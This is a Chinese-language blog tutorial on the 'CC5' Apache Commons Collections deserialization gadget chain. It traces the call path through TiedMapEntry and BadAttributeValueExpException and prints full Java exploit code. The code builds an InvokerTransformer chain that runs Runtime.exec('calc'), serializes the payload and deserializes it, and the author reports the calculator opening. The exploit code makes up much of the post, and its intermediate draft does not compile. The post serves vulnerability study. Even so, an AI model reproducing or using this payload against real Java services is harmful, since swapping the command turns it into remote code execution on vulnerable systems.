CC5链
前言
最后两条链子了冲冲冲!
CC5链的后半部分其实就是CC6的后半条链子,而CC6链是CC1的变种,所以CC5也算是CC1的变种。
后半条链子如下图

环境部署
就是CC1的环境
- jdk8u65
- Comoons-Collections 3.2.1
攻击链分析
我们直接从TiedMapEntry#getVlaue往前跟进。
- 还记得我们在讲解CC6链子的时候提过过一个神奇的现象吗?
就是在我们debug调试的时候便会自动走完整条链子,因为它自动调用了toString方法,而这个方法里调用了getValue方法。
没错这次我们的CC5便是用到了toString方法来连接getValue

- 我们从toString继续往前跟进,看谁调用了它
可以发现找到的实在太多了,我们一个个看显然不现实,所以去ysoserial官方看看。

可以发现BadAttributeValueExpException.readObject()直接调用了它,跟进看看

然后我们看一下这个类的构造函数

发现可以直接传入一个对象赋值给val,并且这是public的可以直接调用。
所以我们的攻击链就非常的明显了:

编写EXP
我先将CC6的EXP先粘出来,然后咱们一步步修改:
package com.test.cc5;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class cc5 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod"
, new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec"
, new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazymap = LazyMap.decorate(hashMap,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
HashMap<Object,Object> hashMap1 = new HashMap<>();
hashMap1.put(tiedMapEntry,"bbb");
lazymap.remove("aaa");
Class clazz = LazyMap.class;
Field fieldfactory = clazz.getDeclaredField("factory");
fieldfactory.setAccessible(true);
fieldfactory.set(lazymap,chainedTransformer);
serialize(hashMap1);
unserialize("ser.bin");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException()
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
需要删除链子前半部分的代码

添加代码与修改如下

最终完整的EXP如下:
package com.test.cc5;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class cc5 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod"
, new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec"
, new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazymap = LazyMap.decorate(hashMap,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(tiedMapEntry);
serialize(badAttributeValueExpException);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
运行看效果

成功弹出计算器。
小结
这条链子简直不要太EZ啊,爽爽爽。
我们将CC5与CC6放一起画个图对比
